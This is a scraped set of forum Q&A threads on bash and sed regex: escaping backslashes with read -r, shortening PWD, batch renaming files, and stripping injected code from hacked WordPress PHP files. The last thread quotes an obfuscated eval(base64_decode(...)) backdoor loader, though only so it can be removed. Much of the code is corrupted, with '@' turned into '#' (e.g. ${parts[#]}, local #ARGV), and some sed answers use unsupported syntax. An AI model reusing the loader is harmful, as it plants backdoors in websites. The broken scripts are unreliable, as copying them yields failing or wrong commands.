Stop escaping forward slash in bash variables - regex

I am having trouble with expanding variables and ignoring their forward slashes.
I have written a simple script that finds text in my git repository and replaces it with other text. This works fine, but now I want to expand it using regex. This shouldn't be too much of a problem since both git grep and sed support regex. However, when I try to use regex in my input variables the forward slashes are removed which ruins the script.
If I run git grep "\bPoint" in the terminal I will get many results. However, I can't figure out how to get the same results when I use user input in my script. The git grep file will change my input to bPoint instead of \bPoint, and won't find any results to give to sed.
#!/bin/bash
# This script allows you to replace text in the git repository without damaging
# .git files.
read -p "Text to replace: " toReplace
read -p "Replace with: " replaceWith
git grep -l ${toReplace}
# The command I want to run
#git grep -l "${toReplace}" | xargs sed -i "s,${toReplace},${replaceWith},g"
I've tried a lot of different combinations of quotations, but nothing seems to work for me.

You must use read -r. As per help read:
-r do not allow backslashes to escape any characters
Examples:
# without -r
read -p "Text to replace: " toReplace && echo "$toReplace"
Text to replace: \bPoint
bPoint
# with -r
read -rp "Text to replace: " toReplace && echo "$toReplace"
Text to replace: \bPoint
\bPoint

Related

Compress working directory purely using bash regex

I want to know the best way to compress the current working directory so that only the last directory's full name is visible. Let me give an example:
$ echo $PWD
/Users/mac/workshop/project1/src
I want to be able to do bash regex replacement operations on it such that I can get ~/w/p/src
I can obtain the first part of getting the leading ~ by doing ${PWD/#$HOME/\~}
$ echo ${PWD/#$HOME/\~}
~/workshop/project1/src
What other regex operations can I do (is it possible to chain the regex operators?) so that I get the following
$ echo ${PWD/#$HOME/\~} ...
~/w/p/src
Note that I need to do only using bash i.e. no sed, awk, grep etc.
The intention for this is so that, I can set the PROMPT value based on bash i.e.
in my .bashrc, I want to:
export PROMPT=${PWD/#$HOME/\~}...
Do-able in just bash, but not as simple as you'd like:
$ squashPWD() {
local pwd parts part
IFS=/ read -ra parts <<< "${PWD/#$HOME/\~}"
for part in "${parts[#]:0:${#parts[#]}-1}"; do
pwd+="${part:0:1}/"
done
echo "$pwd${parts[-1]}"
}
$ pwd
/home/jackman/tmp/adir/foo
$ squashPWD
~/t/a/foo
$ cd /usr/local/share/doc/fish/
$ squashPWD
/u/l/s/d/fish
If you don't need bash:
squashPWD() { perl -pe 's/^$ENV{HOME}/~/; s{([^/])[^/]*(?=/)}{$1}g' <<<"$PWD"; }
Either way, your prompt can be something like:
PS1='\u#\h:$(squashPWD) \$ '
It doesn't need to be all bash, you can use a function in your bashrc or bash_profile and thus use sed or awk. You can put something like this in your bashrc:
short() {
local short_path=$(echo "$PWD" | sed -E 's!/(.)[^/]*!/\1!g')
local last_dir=${PWD##*/}
echo "${short_path::-1}${last_dir}" # remove last character (1st character of last directory, and just append the last directory)
}
PS1='$(short) '
Keep in mind I don't think I replace your $HOME directory with ~, but you know how to do that :)

Using sed with regex to find and replace a string

So I have the following string in my config.fish, and init.vim:
Fish: eval sh ~/.config/fish/colors/base16-monokai.dark.sh
Vim: colorscheme base16-monokai
Vim: let g:airline_theme='base16_monokai'
And I have the following shell script:
#!/bin/sh
theme=$1
background=$2
if [ -z '$theme' ]; then
echo "Please provide a theme name."
else
if [ -z '$background' ]; then
$background = 'dark'
fi
base16-builder -s $theme -t vim -b $background > ~/.config/nvim/colors/base16-$theme.vim &&
base16-builder -s $theme -t shell -b $background > ~/.config/fish/colors/base16-$theme.$background.sh &&
base16-builder -s $theme -t vim-airline -b $background > ~/.vim/plugged/vim-airline-themes/autoload/airline/themes/base16_$theme.vim
sed -i -e 's/foo/eval sh ~/.config/fish/colors/base16-$theme.$background.sh/g' ~/Developer/dotfiles/config.fish
sed -i -e 's/foo/colorscheme base16-$theme/g' ~/Developer/dotfiles/init.vim
sed -i -e 's/foo/let g:airline_theme='base16_$theme'/g' ~/Developer/dotfiles/init.vim
fi
Basically the idea is the script will generate whichever theme is passed through using this builder.
I have tried referring this documentation but I am not very skilled at regex so if anybody could give me a hand I would appreciate it.
What I need to happen is once the script is generated sed will look for the above strings and replace theme with the newly generated theme ones.
Try this :
sed -i "s|\(eval sh ~/\.config/fish/colors/base16-\)\([^.]*\)\.\([^.]*\)\\(.*\)|\1$theme.$background\4|
" ~/Developer/dotfiles/config.fish
sed -i "s/\(base16\)\([-_]\)\([a-zA-Z]*\)/\1\2$theme/g" ~/Developer/dotfiles/init.vim
Assuming in the second sed command that the theme is an alphanumeric string. If not, you can complete the character range : [a-zA-Z] with additional characters (eg [a-zA-Z0-9]).
You can replace something in sed using this syntax: sed "s#regex#replacement#g". Because you have /s and 's in your strings, it's easiest not to need to escape them.
There are some characters that need to be escaped to make the regexes. . and $ need to be escaped with a \. The $ in the replacement string needs to be escaped too.
If you want to capture a certain part from match, it's easiest to use char classes. For example, eval sh ~/\.config/fish/colors/base16-([^.]+)\.dark\.sh would be the regex to use if you want your replacement to be airline_theme='$1_base16_\$theme'. In that case, the $1 in the replacement is the thing captured in the regex.
[^.]+ will capture everything up to the next .
I hope this helps you to better understand regexes! This should be detailed enough to show you how to write your own.
You need to use double quotes for parameter expansion not single quotes.
You need to escape the single quotes: 'hello'\''world'
I will make one line for you and leave it as an exercise to fix the other lines
sed -i -e 's~\(let g:airline_theme='\''\)[^'\'']*\('\'\)'~base16_'"$theme"~' ~/Developer/dotfiles/init.vim
The first character after the s in the sed expression string is used as the pattern separator, so by putting / first you have specified / as the separator.
Additionally using the single quote tells the shell not to expand any variables, you are going to want to use double quotes instead.
try something like
sed -i -e "s#foo#eval sh ~/.config/fish/colors/base16-$theme.$background.sh#g" ~/Developer/dotfiles/config.fish
as you've now commented that you needed to find the previous theme string instead of foo
sed -i -e "s#eval sh \~/\.config/fish/colors/base16-.*?\..*?\.sh#eval sh ~/.config/fish/colors/base16-$theme.$background.sh#g" ~/Developer/dotfiles/config.fish

How to batch rename files based off a pattern in bash or linux command line [duplicate]

Objective
Change these filenames:
F00001-0708-RG-biasliuyda
F00001-0708-CS-akgdlaul
F00001-0708-VF-hioulgigl
to these filenames:
F0001-0708-RG-biasliuyda
F0001-0708-CS-akgdlaul
F0001-0708-VF-hioulgigl
Shell Code
To test:
ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/'
To perform:
ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' | sh
My Question
I don't understand the sed code. I understand what the substitution
command
$ sed 's/something/mv'
means. And I understand regular expressions somewhat. But I don't
understand what's happening here:
\(.\).\(.*\)
or here:
& \1\2/
The former, to me, just looks like it means: "a single character,
followed by a single character, followed by any length sequence of a
single character"--but surely there's more to it than that. As far as
the latter part:
& \1\2/
I have no idea.
First, I should say that the easiest way to do this is to use the
prename or rename commands.
On Ubuntu, OSX (Homebrew package rename, MacPorts package p5-file-rename), or other systems with perl rename (prename):
rename s/0000/000/ F0000*
or on systems with rename from util-linux-ng, such as RHEL:
rename 0000 000 F0000*
That's a lot more understandable than the equivalent sed command.
But as for understanding the sed command, the sed manpage is helpful. If
you run man sed and search for & (using the / command to search),
you'll find it's a special character in s/foo/bar/ replacements.
s/regexp/replacement/
Attempt to match regexp against the pattern space. If success‐
ful, replace that portion matched with replacement. The
replacement may contain the special character & to refer to that
portion of the pattern space which matched, and the special
escapes \1 through \9 to refer to the corresponding matching
sub-expressions in the regexp.
Therefore, \(.\) matches the first character, which can be referenced by \1.
Then . matches the next character, which is always 0.
Then \(.*\) matches the rest of the filename, which can be referenced by \2.
The replacement string puts it all together using & (the original
filename) and \1\2 which is every part of the filename except the 2nd
character, which was a 0.
This is a pretty cryptic way to do this, IMHO. If for
some reason the rename command was not available and you wanted to use
sed to do the rename (or perhaps you were doing something too complex
for rename?), being more explicit in your regex would make it much
more readable. Perhaps something like:
ls F00001-0708-*|sed 's/F0000\(.*\)/mv & F000\1/' | sh
Being able to see what's actually changing in the
s/search/replacement/ makes it much more readable. Also it won't keep
sucking characters out of your filename if you accidentally run it
twice or something.
you've had your sed explanation, now you can use just the shell, no need external commands
for file in F0000*
do
echo mv "$file" "${file/#F0000/F000}"
# ${file/#F0000/F000} means replace the pattern that starts at beginning of string
done
I wrote a small post with examples on batch renaming using sed couple of years ago:
http://www.guyrutenberg.com/2009/01/12/batch-renaming-using-sed/
For example:
for i in *; do
mv "$i" "`echo $i | sed "s/regex/replace_text/"`";
done
If the regex contains groups (e.g. \(subregex\) then you can use them in the replacement text as \1\,\2 etc.
The easiest way would be:
for i in F00001*; do mv "$i" "${i/F00001/F0001}"; done
or, portably,
for i in F00001*; do mv "$i" "F0001${i#F00001}"; done
This replaces the F00001 prefix in the filenames with F0001.
credits to mahesh here: http://www.debian-administration.org/articles/150
The sed command
s/\(.\).\(.*\)/mv & \1\2/
means to replace:
\(.\).\(.*\)
with:
mv & \1\2
just like a regular sed command. However, the parentheses, & and \n markers change it a little.
The search string matches (and remembers as pattern 1) the single character at the start, followed by a single character, follwed by the rest of the string (remembered as pattern 2).
In the replacement string, you can refer to these matched patterns to use them as part of the replacement. You can also refer to the whole matched portion as &.
So what that sed command is doing is creating a mv command based on the original file (for the source) and character 1 and 3 onwards, effectively removing character 2 (for the destination). It will give you a series of lines along the following format:
mv F00001-0708-RG-biasliuyda F0001-0708-RG-biasliuyda
mv abcdef acdef
and so on.
Using perl rename (a must have in the toolbox):
rename -n 's/0000/000/' F0000*
Remove -n switch when the output looks good to rename for real.
There are other tools with the same name which may or may not be able to do this, so be careful.
The rename command that is part of the util-linux package, won't.
If you run the following command (GNU)
$ rename
and you see perlexpr, then this seems to be the right tool.
If not, to make it the default (usually already the case) on Debian and derivative like Ubuntu :
$ sudo apt install rename
$ sudo update-alternatives --set rename /usr/bin/file-rename
For archlinux:
pacman -S perl-rename
For RedHat-family distros:
yum install prename
The 'prename' package is in the EPEL repository.
For Gentoo:
emerge dev-perl/rename
For *BSD:
pkg install gprename
or p5-File-Rename
For Mac users:
brew install rename
If you don't have this command with another distro, search your package manager to install it or do it manually:
cpan -i File::Rename
Old standalone version can be found here
man rename
This tool was originally written by Larry Wall, the Perl's dad.
The backslash-paren stuff means, "while matching the pattern, hold on to the stuff that matches in here." Later, on the replacement text side, you can get those remembered fragments back with "\1" (first parenthesized block), "\2" (second block), and so on.
If all you're really doing is removing the second character, regardless of what it is, you can do this:
s/.//2
but your command is building a mv command and piping it to the shell for execution.
This is no more readable than your version:
find -type f | sed -n 'h;s/.//4;x;s/^/mv /;G;s/\n/ /g;p' | sh
The fourth character is removed because find is prepending each filename with "./".
Here's what I would do:
for file in *.[Jj][Pp][Gg] ;do
echo mv -vi \"$file\" `jhead $file|
grep Date|
cut -b 16-|
sed -e 's/:/-/g' -e 's/ /_/g' -e 's/$/.jpg/g'` ;
done
Then if that looks ok, add | sh to the end. So:
for file in *.[Jj][Pp][Gg] ;do
echo mv -vi \"$file\" `jhead $file|
grep Date|
cut -b 16-|
sed -e 's/:/-/g' -e 's/ /_/g' -e 's/$/.jpg/g'` ;
done | sh
for i in *; do mv $i $(echo $i|sed 's/AAA/BBB/'); done
The parentheses capture particular strings for use by the backslashed numbers.
ls F00001-0708-*|sed 's|^F0000\(.*\)|mv & F000\1|' | bash
Some examples that work for me:
$ tree -L 1 -F .
.
├── A.Show.2020.1400MB.txt
└── Some Show S01E01 the Loreming.txt
0 directories, 2 files
## remove "1400MB" (I: ignore case) ...
$ for f in *; do mv 2>/dev/null -v "$f" "`echo $f | sed -r 's/.[0-9]{1,}mb//I'`"; done;
renamed 'A.Show.2020.1400MB.txt' -> 'A.Show.2020.txt'
## change "S01E01 the" to "S01E01 The"
## \U& : change (here: regex-selected) text to uppercase;
## note also: no need here for `\1` in that regex expression
$ for f in *; do mv 2>/dev/null "$f" "`echo $f | sed -r "s/([0-9] [a-z])/\U&/"`"; done
$ tree -L 1 -F .
.
├── A.Show.2020.txt
└── Some Show S01E01 The Loreming.txt
0 directories, 2 files
$
2>/dev/null suppresses extraneous output (warnings ...)
reference [this thread]: https://stackoverflow.com/a/2372808/1904943
change case: https://www.networkworld.com/article/3529409/converting-between-uppercase-and-lowercase-on-the-linux-command-line.html

Grep regex contained in a file (not grep -f option!)

I am reading some equipment configuration output and check if the configuration is correct, according to the HW configuration. The template configurations are stored as files with all the params, and the lines contain regular expressions (basically just to account for variable number of spaces between "object", "param" and "value" in the output, also some index variance)
First of all, I cannot use grep -f $template $output, since I have to process each line of the template separately. I have something like this running
while read line
do
attempt=`grep -E "$line" $file`
# ...etc
done < $template
Which works just fine if the template doesn't contain regex.
Problem: grep interpretes the search option literally when these are read form file. I tested the regex themselves, they work fine from the command line.
With this background, the question is:
How to read regex from a file (line by line) and have grep not interprete them literally?
Using the following script:
#!/usr/bin/env bash
# multi-grep
regexes="$1"
file="$2"
while IFS= read -r rx ; do
result="$(grep -E "$rx" "$file")"
grep -q -E "$rx" "$file" && printf 'Look ma, a match: %s!\n' "$result"
done < "$regexes"
And files with the following contents:
$ cat regexes
RbsLocalCell=S.C1.+eulMaxOwnUuLoad.+100
$ cat data
RbsLocalCell=S1C1 eulMaxOwnUuLoad 100
I get this result:
$ ./multi-grep regexes data
Look ma, a match: RbsLocalCell=S1C1 eulMaxOwnUuLoad 100!
This works for different spacing as well
$ cat data
RbsLocalCell=S1C1 eulMaxOwnUuLoad 100
$ ./multi-grep regexes data
Look ma, a match: RbsLocalCell=S1C1 eulMaxOwnUuLoad 100!
Seems okay to me.
Use the -F option, or fgrep.
What's more, you seem to want to match full lines: add the -x option as well.
Another point: make sure the pattern is not interpreted in some wrong way by the shell by putting "$line" in quotes.
All in all that looks like you better write a perl than a shell script.

Command line find a large string and replace on all files in a subdirectory

I've got a hacked wordpress install I'd like to clean up. Every single .php file has had this inserted at the top:
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
I'd like to replace that string with nothing in every .php file in the wordpress directory including subs. What's my best option? I've got bash, python, perl, php and so on.
I've tried:
perl -pi -e 's/<?php\ /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='));\ ?>//g' *.php
Bareword found where operator expected at -e line 1, near "s/<?php\ /**/eval"
syntax error at -e line 1, near "s/<?php\ /**/eval"
Identifier too long at -e line 1.
and
sed -i 's/<?php\ /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='));\ ?>//g' *.php
sed: -e expression #1, char 15: unknown option to `s'
#!/usr/bin/perl
use warnings;
use strict;
use File::Find;
# get a list of files
local #ARGV;
find sub {push #ARGV, $File::Find::name if /\.php$/}, '.';
# do in-place editing
$^I = '.bak';
while (<>) {
print unless $_ eq "<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>\n";
}
Note that in your base string, you already have the reg-exp delimiter used by default (and you are using) the '/' char in your perl and sed.
You can either escape all those like '\/' OR you can use a different char for the reg-exp delimiter. For sed, try
sed -i 's#<?php\ /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='));\ ?>##g' *.php
For some seds, you have to 'tell' sed you are changing up. only the initial reg-exp delimiter needs an esacpe char, i.e. sed -k 's\#<....##g' *.php
I hope this helps.
P.S. as you appear to be a new user, if you get an answer that helps you please remember to mark it as accepted, and/or give it a + (or -) as a useful answer.
The problem is that '/' exists in the string you want to match, and you are using '/' as your pattern delimiter. Luckily, Perl allows you to specify alternate delimiters, so use one that is not in the string you are matching:
perl -pn -i.bak -e "s{<?php\ /\*\*/eval\(base64_decode\('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='\)\);\ \?>}{}g;" `find . -name '*.php'`
I modified the command a bit. It is always good practice to create backup files when doing in-place edits in case there is an error or you need to verify (via diff) that the command did what you expect (I have a perl program that allows me to easily rename the .bak files back in case I need to reset things).
I also use a find command to get the list of all .php files in and below the current directory. If working in a flat directory, your *.php is sufficient.
You also need to escape regex specials in the string you want to match. Example the '*', '?', and '()' characters need to be escaped.
If the command works as expected, you can run the following command to remove the .bak files:
/bin/rm `find . -name '*.bak'`
find ./*php | xargs -t -i perl -pi -e "s/<\?php\s+\/\*\*\/eval\(base64_decode\(\'\S+\'\)\);\s+\?>//;" {}
Feel free to substitute the ginormous base64 string instead of \S+
Try this:
sed -i -r 's/<\?php\ \/\*\*\/eval\(base64_decode\('\''aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='\''\)\); \?>//' *.php
Things I changed:
escaped all regexp symbols in your code (e.g. (, ), * and ?)
replaced ' with '\'' in your code, which is the only way to put a ' in a '-delimited string in bash
If you want to recursively replace *.php even in subdirectories of this directory:
find -print0 | xargs -0 sed -i -r 's/<\?php\ \/\*\*\/eval\(base64_decode\('\''aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='\''\)\); \?>//'
Note that I've used -print0 and -0 so it doesn't break with files with spaces.
Here's a bash 4+ script
#!/bin/bash
shopt -s globstar
shopt -s nullglob
for php in **/*.php
do
data=$(<"$php")
a=${data%%<?php*}
echo "$a ${data#*?>}" > t && mv t "$php"
done